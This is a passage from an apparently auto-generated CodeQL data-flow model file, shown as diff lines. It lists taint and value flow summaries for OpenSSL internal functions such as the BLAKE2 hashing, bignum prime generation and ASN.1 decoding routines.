*,size_t)", "", "Argument[2]", "Argument[*0].Field[*personal]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_salt", "(BLAKE2B_PARAM *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*salt]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_salt", "(BLAKE2B_PARAM *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*salt]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_salt", "(BLAKE2B_PARAM *,const uint8_t *,size_t)", "", "Argument[2]", "Argument[*0].Field[*salt]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_update", "(BLAKE2B_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_update", "(BLAKE2B_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_update", "(BLAKE2B_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_update", "(BLAKE2B_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*buflen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_update", "(BLAKE2B_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_final", "(unsigned char *,BLAKE2S_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[*0].Field[*params].Field[*digest_length]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *)", "", "Argument[*1].Field[*digest_length]", "Argument[*0].Field[*outlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *)", "", "Argument[*1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *)", "", "Argument[1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[**2]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[*1].Field[*digest_length]", "Argument[*0].Field[*outlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[*1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[*2]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[*2]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[2]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_digest_length", "(BLAKE2S_PARAM *,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*digest_length]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_key_length", "(BLAKE2S_PARAM *,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*key_length]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_personal", "(BLAKE2S_PARAM *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*personal]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_personal", "(BLAKE2S_PARAM *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*personal]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_personal", "(BLAKE2S_PARAM *,const uint8_t *,size_t)", "", "Argument[2]", "Argument[*0].Field[*personal]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_salt", "(BLAKE2S_PARAM *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*salt]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_salt", "(BLAKE2S_PARAM *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*salt]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_salt", "(BLAKE2S_PARAM *,const uint8_t *,size_t)", "", "Argument[2]", "Argument[*0].Field[*salt]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_update", "(BLAKE2S_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_update", "(BLAKE2S_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_update", "(BLAKE2S_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_update", "(BLAKE2S_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*buflen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_update", "(BLAKE2S_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blob_length", "(unsigned int,int,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_check_generated_prime", "(const BIGNUM *,int,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_check_prime", "(const BIGNUM *,int,BN_CTX *,int,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_gen_dsa_nonce_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_get_libctx", "(BN_CTX *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_bn_get_libctx", "(BN_CTX *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_bn_mask_bits_fixed_top", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_mask_bits_fixed_top", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_miller_rabin_is_prime", "(const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[*3]", "Argument[*0].Field[*RR].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[2]", "Argument[*0].Field[*ri]", "value", "dfc-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[3]", "Argument[*0].Field[*RR].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[4]", "Argument[*0].Field[*RR].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[4]", "Argument[*0].Field[*RR].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[4]", "Argument[*0].Field[*RR].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[5]", "Argument[*0].Field[*n0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[6]", "Argument[*0].Field[*n0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_priv_rand_range_fixed_top", "(BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*8]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*8]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*8]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*6]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*6]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*6]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*9]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*9]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*9]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*9]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*9]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*9]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*9]", "Argument[*8]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[7]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_gen_prob_primes", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[7]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_bsearch", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_bsearch", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_bsearch", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bsearch", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_bsearch", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bsearch", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_bsearch", "(const void *,const void *,int,int,..(*)(..),int)", "", "Argument[3]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_buf2hexstr_sep", "(const unsigned char *,long,char)", "", "Argument[*0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_buf2hexstr_sep", "(const unsigned char *,long,char)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_buf2hexstr_sep", "(const unsigned char *,long,char)", "", "Argument[2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_c2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_c2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_c2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[**2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[**2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c2i_uint64_int", "(uint64_t *,int *,const unsigned char **,long)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_derive_public_key", "(OSSL_LIB_CTX *,uint8_t[57],const uint8_t[57],const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_c448_ed448_sign", "(OSSL_LIB_CTX *,uint8_t[114],const uint8_t[57],const 